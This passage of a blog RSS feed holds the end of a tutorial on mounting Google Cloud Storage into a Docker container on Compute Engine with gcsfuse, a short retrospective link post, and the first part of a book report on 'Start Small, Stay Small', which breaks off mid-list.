&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --member &lt;span style="color:#ed9d13">&amp;#34;serviceAccount:&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">SERVICE_ACCOUNT_EMAIL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --role roles/logging.logWriter
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="deploying-the-gcs-aware-container">Deploying the GCS-aware container&lt;/h2>
&lt;p>Return to your clone of the &lt;a href="https://github.com/mtlynch/docker-flask-upload-demo">docker-flask-upload-demo&lt;/a> repository and check out the &lt;code>gcsfuse&lt;/code> branch:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">cd&lt;/span> ~/docker-flask-upload-demo
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>git checkout gcsfuse
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now, rebuild the Docker image and push it to GCR:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">LOCAL_IMAGE_NAME&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;flask-upload-demo-image&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>docker build --tag &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$LOCAL_IMAGE_NAME&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> .
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">GCR_HOSTNAME&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;gcr.io&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">GCR_IMAGE_PATH&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">GCR_HOSTNAME&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">PROJECT_ID&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/flask-demo-app&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>docker tag &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$LOCAL_IMAGE_NAME&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$GCR_IMAGE_PATH&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>docker push &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$GCR_IMAGE_PATH&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="notice notice-info">
 &lt;strong>Note&lt;/strong>: This image will fail if you attempt to run it locally. The &lt;code>gcsfuse&lt;/code> version of the &lt;code>Dockerfile&lt;/code> assumes that its execution environment has already authenticated to gcloud (which is true of containers running on GCE). It&amp;rsquo;s possible to adjust the &lt;code>Dockerfile&lt;/code> so that it mounts a GCS bucket while running outside of GCE, but this is an exercise for the reader.
&lt;/div>

&lt;p>With your new, custom GCE service account, you&amp;rsquo;re ready to deploy the GCS-aware container:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">VM_NAME&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;flask-demo-app-vm-gcsfuse&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">MACHINE_TYPE&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;n1-standard-1&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">ZONE&lt;/span>=us-east1-b
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>gcloud compute &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --project=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$PROJECT_ID&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> instances create-with-container &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$VM_NAME&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --zone=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$ZONE&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --machine-type=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$MACHINE_TYPE&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --network-tier=STANDARD &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --metadata=google-logging-enabled=&lt;span style="color:#24909d">true&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --maintenance-policy=MIGRATE &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --scopes=https://www.googleapis.com/auth/cloud-platform &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --service-account=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$SERVICE_ACCOUNT_EMAIL&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --tags=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$VM_TAGS&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --image-family=cos-stable &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --image-project=cos-cloud &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --boot-disk-size=10GB &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --boot-disk-type=pd-standard &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --boot-disk-device-name=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$VM_NAME&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --container-image=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$GCR_IMAGE_PATH&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --container-restart-policy=on-failure &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --container-privileged &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --container-env=&lt;span style="color:#ed9d13">&amp;#34;GCS_BUCKET=&lt;/span>&lt;span style="color:#40ffff">$GCS_BUCKET&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This command is the same as the &lt;a href="http://localhost:4000/retrofit-docker-gcs/#deploying-the-docker-container">previous deploy command&lt;/a>, but with two additional flags:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span> --container-privileged &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The &lt;code>--container-privileged&lt;/code> flag is necessary to allow the Docker container to mount a FUSE filesystem (Docker offers &lt;a href="https://stackoverflow.com/a/49021109/90388">more fine-grained ways of achieving this&lt;/a>, but GCE does not yet support them).&lt;/p>
&lt;div class="notice notice-warning">
 &lt;strong>Gotcha Warning&lt;/strong>: &lt;code>gcsfuse&lt;/code> can&amp;rsquo;t mount the GCS bucket on GCE unless you deploy the VM with the &lt;code>--container-privileged&lt;/code> flag.
&lt;/div>

&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span> --container-env=&lt;span style="color:#ed9d13">&amp;#34;GCS_BUCKET=&lt;/span>&lt;span style="color:#40ffff">$GCS_BUCKET&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I purposely designed the Docker image to be agnostic to GCS bucket&amp;rsquo;s name until runtime. The &lt;code>--container-env&lt;/code> flag lets you specify the &lt;code>GCS_BUCKET&lt;/code> environment variable at deploy time.&lt;/p>
&lt;h2 id="persistence-pays-off-with-persistence">Persistence pays off&amp;hellip; with persistence&lt;/h2>
&lt;p>You finally have a Docker container that persists its state to GCS. You can test this by uploading a file to the deployed app:&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 667px">



 &lt;a href="https://mtlynch.io/retrofit-docker-gcs/gcsfuse-1.png">
 &lt;img
 
 sizes="(min-width: 768px) 667px, 98vw"
 srcset='https://mtlynch.io/retrofit-docker-gcs/gcsfuse-1_hu_97a346348eb173b5.png 300w, https://mtlynch.io/retrofit-docker-gcs/gcsfuse-1_hu_3dfa1c2b8b6ba785.png 600w, https://mtlynch.io/retrofit-docker-gcs/gcsfuse-1.png 667w'
 src="https://mtlynch.io/retrofit-docker-gcs/gcsfuse-1.png" alt="Screenshot of flask-upload-demo serving file" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>flask-upload-demo serves the file from permanent storage on GCS&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>If you check your GCS bucket, you will see the file you just uploaded:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrofit-docker-gcs/gcsfuse-2.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrofit-docker-gcs/gcsfuse-2_hu_e2f3f57acb9184f9.png 300w, https://mtlynch.io/retrofit-docker-gcs/gcsfuse-2_hu_887d5c176f28d407.png 600w, https://mtlynch.io/retrofit-docker-gcs/gcsfuse-2_hu_bf5e387176dad7f.png 800w, https://mtlynch.io/retrofit-docker-gcs/gcsfuse-2.png 990w'
 src="https://mtlynch.io/retrofit-docker-gcs/gcsfuse-2.png" alt="Screenshot GCS bucket showing uploaded file" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Image file in GCS bucket&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The real test is whether this state persists across different VMs. You can verify this by killing your VM entirely and redeploying it. The image URL from your previous VM will be accessible on your new server:&lt;/p>













 

 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 669px">



 &lt;a href="https://mtlynch.io/retrofit-docker-gcs/gcsfuse-3.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 669px, 98vw"
 srcset='https://mtlynch.io/retrofit-docker-gcs/gcsfuse-3_hu_7372f21293c0fbc4.png 300w, https://mtlynch.io/retrofit-docker-gcs/gcsfuse-3_hu_d0bb5b3a785a8052.png 600w, https://mtlynch.io/retrofit-docker-gcs/gcsfuse-3.png 667w'
 src="https://mtlynch.io/retrofit-docker-gcs/gcsfuse-3.png" alt="Screenshot of flask-upload-demo serving file from different IP" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>flask-upload-demo continues serving file even after the VM has been destroyed and rebuilt&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="bonus-logging-interface">Bonus: Logging interface&lt;/h2>
&lt;p>A nice side-benefit of this solution is that GCP provides a slick web interface to view your app&amp;rsquo;s logs.&lt;/p>
&lt;p>You can always check the logs manually by ssh&amp;rsquo;ing into your VM, then running &lt;code>docker logs&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ docker logs klt-flask-demo-app-vm-gcsfuse-qnnf
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[2018-11-26 21:28:54 +0000] [33] [INFO] Starting gunicorn 19.9.0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[2018-11-26 21:28:54 +0000] [33] [INFO] Listening at: http://127.0.0.1:5000 (33)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[2018-11-26 21:28:54 +0000] [33] [INFO] Using worker: sync
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[2018-11-26 21:28:54 +0000] [37] [INFO] Booting worker with pid: &lt;span style="color:#3677a9">37&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[2018-11-26 21:32:59 +0000] [37] [INFO] Saving uploaded file &lt;span style="color:#ed9d13">&amp;#34;zestful-logo.png&amp;#34;&lt;/span> to &lt;span style="color:#ed9d13">&amp;#34;/srv/demo-app/demo/uploads/zestful-logo.png&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The easier way is to open GCP&amp;rsquo;s &lt;a href="https://console.cloud.google.com/logs/viewer">StackDriver logging interface&lt;/a>. There, you will find all of your logs in a feature-rich web interface:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrofit-docker-gcs/gcsfuse-logs.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrofit-docker-gcs/gcsfuse-logs_hu_5e3257c414d2c971.png 300w, https://mtlynch.io/retrofit-docker-gcs/gcsfuse-logs_hu_2d0cc995382437b2.png 600w, https://mtlynch.io/retrofit-docker-gcs/gcsfuse-logs_hu_ae7cf95063464300.png 800w, https://mtlynch.io/retrofit-docker-gcs/gcsfuse-logs_hu_e81af6dfa558a1ee.png 1200w, https://mtlynch.io/retrofit-docker-gcs/gcsfuse-logs.png 1458w'
 src="https://mtlynch.io/retrofit-docker-gcs/gcsfuse-logs.png" alt="App logs in GCP&amp;#39;s StackDriver interface" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>GCP&amp;rsquo;s StackDriver interface shows log output from the app.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="pushing-new-releases">Pushing new releases&lt;/h2>
&lt;p>This architecture makes it easy to push new releases. Any time you want to update the app or its dependencies, build a new image and push it to GCR:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>docker build --tag &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$LOCAL_IMAGE_NAME&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> .
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>docker tag &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$LOCAL_IMAGE_NAME&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$GCR_IMAGE_PATH&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>docker push &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$GCR_IMAGE_PATH&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Then, use the &lt;code>update-container&lt;/code> command to update the Docker image on your running GCE instance:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>gcloud compute &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --project=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$PROJECT_ID&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> instances update-container &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$VM_NAME&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --container-image=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$GCR_IMAGE_PATH&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="notice notice-warning">
 &lt;strong>Gotcha Warning&lt;/strong>: The VM&amp;rsquo;s external IP address will change after this command completes unless you assigned a static IP.
&lt;/div>

&lt;p>If you ever push a bad release, the &lt;code>update-container&lt;/code> command allows you to roll back to a previous, known-good image.&lt;/p>
&lt;h2 id="limitations">Limitations&lt;/h2>
&lt;p>This solution suffers from the same limitations as the gcsfuse utility and GCS itself. gcsfuse tries its darndest to make GCS buckets look like regular filesystem folders, but the abstraction breaks in two main ways:&lt;/p>
&lt;ul>
&lt;li>GCS doesn&amp;rsquo;t support locks, so things will get wonky if your app tries to acquire file locks.&lt;/li>
&lt;li>Latency is high, especially when doing small, random reads or writes on large files.&lt;/li>
&lt;/ul>
&lt;p>In particular, I&amp;rsquo;ve found that &lt;a href="https://www.sqlite.org/index.html">sqlite&lt;/a> will quickly fail if you point it at a database located on a gcsfuse mount.&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>In this tutorial, you learned to redirect an app&amp;rsquo;s data to cloud storage without making changes to the app itself. The example app had no awareness of Google Cloud Platform, yet you deployed it to Google Compute Engine and redirected its persistent data to Google Cloud Storage.&lt;/p>
&lt;h2 id="source-code">Source Code&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://github.com/mtlynch/flask_upload_demo">flask-upload-demo&lt;/a>: The Flask example app that keeps state on the local filesystem.&lt;/li>
&lt;li>&lt;a href="https://github.com/mtlynch/docker-flask-upload-demo">docker-flask-upload-demo&lt;/a>: The Docker configuration for flask-upload-demo, in three varieties:
&lt;ul>
&lt;li>&lt;a href="https://github.com/mtlynch/docker-flask-upload-demo">master branch&lt;/a> - Shows basic packaging of the app&lt;/li>
&lt;li>&lt;a href="https://github.com/mtlynch/docker-flask-upload-demo/tree/nginx">nginx branch&lt;/a> - Shows a more realistic real-world architecture where nginx proxies traffic for the app&lt;/li>
&lt;li>&lt;a href="https://github.com/mtlynch/docker-flask-upload-demo/tree/gcsfuse">gcsfuse branch&lt;/a> - Shows how to mount a Google Cloud Storage bucket from within the Docker container (assumes the container runs in a Google Compute Engine VM with read/write permissions to Google Cloud Storage).&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://github.com/mtlynch/mediagoblin-docker/tree/gcsfuse">mediagoblin-docker (gcsfuse branch)&lt;/a> - Docker configuration for a real-world media sharing app where I used these same techniques to redirect the app&amp;rsquo;s permanent data to Google Cloud Storage.&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>&lt;em>Software architecture diagrams by Loraine Yow&lt;/em>&lt;/p></content:encoded></item><item><title>Is It Keto: Month 3</title><link>https://mtlynch.io/retrospectives/2018/12/</link><pubDate>Sun, 02 Dec 2018 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2018/12/</guid><description>&lt;p>Prior to February 2019, I published all my retrospectives on &lt;a href="https://www.indiehackers.com">Indie Hackers&lt;/a>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.indiehackers.com/forum/isitketo-returning-to-a-site-that-grew-without-me-0a0fe3ef52">Is It Keto Month 3: Returning to a Site that Grew without Me&lt;/a>&lt;/li>
&lt;/ul></description><content:encoded>&lt;p>Prior to February 2019, I published all my retrospectives on &lt;a href="https://www.indiehackers.com">Indie Hackers&lt;/a>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.indiehackers.com/forum/isitketo-returning-to-a-site-that-grew-without-me-0a0fe3ef52">Is It Keto Month 3: Returning to a Site that Grew without Me&lt;/a>&lt;/li>
&lt;/ul></content:encoded></item><item><title>Start Small, Stay Small by Rob Walling</title><link>https://mtlynch.io/book-reports/start-small-stay-small/</link><pubDate>Thu, 15 Nov 2018 00:00:00 +0000</pubDate><guid>https://mtlynch.io/book-reports/start-small-stay-small/</guid><description>&lt;p>I wish that I had found this book nine years ago. It taught me a great deal about choosing the right product to build and the advantages of targeting small niches. The author makes compelling points about the importance of marketing and small founders&amp;rsquo; common pitfall of treating it as an afterthought.&lt;/p>
&lt;p>Unfortunately, much of the content aged poorly. Published in 2010, Walling intentionally kept the book pragmatic, recommending specific tools and strategies that were popular at the time. Reading it in 2019, many of the services he recommends are either irrelevant or dead. It would be nice to see an updated edition, which &lt;a href="https://news.ycombinator.com/item?id=18202347">Walling has suggested&lt;/a> is a possibility.&lt;/p></description><content:encoded>&lt;p>I wish that I had found this book nine years ago. It taught me a great deal about choosing the right product to build and the advantages of targeting small niches. The author makes compelling points about the importance of marketing and small founders&amp;rsquo; common pitfall of treating it as an afterthought.&lt;/p>
&lt;p>Unfortunately, much of the content aged poorly. Published in 2010, Walling intentionally kept the book pragmatic, recommending specific tools and strategies that were popular at the time. Reading it in 2019, many of the services he recommends are either irrelevant or dead. It would be nice to see an updated edition, which &lt;a href="https://news.ycombinator.com/item?id=18202347">Walling has suggested&lt;/a> is a possibility.&lt;/p>
&lt;hr>
&lt;h2 id="what-i-liked">What I liked&lt;/h2>
&lt;ul>
&lt;li>Pragmatic approach to developing product ideas and marketing&lt;/li>
&lt;li>Does an excellent job of highlighting the many advantages of small niches&lt;/li>
&lt;/ul>
&lt;h2 id="what-i-disliked">What I disliked&lt;/h2>
&lt;ul>
&lt;li>Much of it feels dated in 2019
&lt;ul>
&lt;li>It&amp;rsquo;s meant to be specific and practical, but that means many of the websites it mentions are no longer active or relevant.
&lt;ul>
&lt;li>For example, it refers to MySpace as the second most relevant social networking site.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Examples of elegant web design in 2010 look very hokey and amateurish now.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Many of the author&amp;rsquo;s example businesses feel low-quality.
&lt;ul>
&lt;li>e.g., a site that drop-ships beach towels&lt;/li>
&lt;li>There&amp;rsquo;s nothing wrong with creating sites just because they&amp;rsquo;ll make a little money, but the strategy of building a product to the bare minimum of functionality and then collecting revenue didn&amp;rsquo;t really resonate with me.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Advice about outsourcing didn&amp;rsquo;t match my experience
&lt;ul>
&lt;li>I felt like the author exaggerates how much time you save from freelance developers / virtual assistants.&lt;/li>
&lt;li>The book doesn&amp;rsquo;t address how difficult and time-consuming it is to spin up a new freelancer and teach them the work.&lt;/li>
&lt;li>At one point, the book suggests you can pay $3k to have an overseas developer create an entire web application (&amp;ldquo;200 hours @ $15/hr for a Senior PHP Developer&amp;rdquo;).
&lt;ul>
&lt;li>This felt &lt;em>extremely&lt;/em> unrealistic. I feel like a more plausible wage for a real senior-level PHP developer is at least $70/hr.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="key-takeaways">Key takeaways&lt;/h2>
&lt;ul>
&lt;li>A product needs a market before it can succeed.
&lt;ul>
&lt;li>&amp;ldquo;Without a market, a software application is just a project.&amp;rdquo;&lt;/li>
&lt;li>&amp;ldquo;Build a project &lt;em>after&lt;/em> you&amp;rsquo;ve verified there is a market.&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>You can&amp;rsquo;t consume information and produce a product at the same time.
&lt;ul>
&lt;li>Increase your productivity by taking &amp;ldquo;information diets&amp;rdquo; - limited abstentions from consuming news media or books.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Aim to earn at least $50 for every hour you invest in your startup.
&lt;ul>
&lt;li>Once you achieve that, find ways to increase this to $75 or $100/hr.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&amp;ldquo;Market comes first, marketing second, aesthetic third, and functionality a distant fourth.&amp;rdquo;&lt;/li>
&lt;li>&amp;ldquo;Market First Approach&amp;rdquo; - Find people to buy your product before deciding what to build.
&lt;ul>
&lt;li>Contrasts with most develeopers&amp;rsquo; &amp;ldquo;Product First Approach,&amp;rdquo; where they think of a great idea, build it, then &lt;a href="https://mtlynch.io/shipping-too-late/">find out nobody wants to buy it&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Niche markets are critical for bootstrapped founders.
&lt;ul>
&lt;li>Example: A bootstrapped company can&amp;rsquo;t compete with well-funded giants who make general-purpose accounting software. But they &lt;em>can&lt;/em> compete if they build accounting software that caters specifically to web designers.&lt;/li>
&lt;li>It&amp;rsquo;s better to capture 100% of a 5,000-person niche than to capture only 10% of a 50,000-person niche.
&lt;ul>
&lt;li>It&amp;rsquo;s easier and more cost-effective to advertise to the smaller niche because they probably visit the same websites, read the same magazines, and talk amongst themselves.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>You usually don&amp;rsquo;t have to worry about large competitors swooping in to crush you because the money in small niches is too small to attract their interest.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Successful marketing tactics depend entirely on your target market
&lt;ul>
&lt;li>Twitter might be a great way to reach web designers, but it&amp;rsquo;s a poor way to reach pool cleaners.&lt;/li>
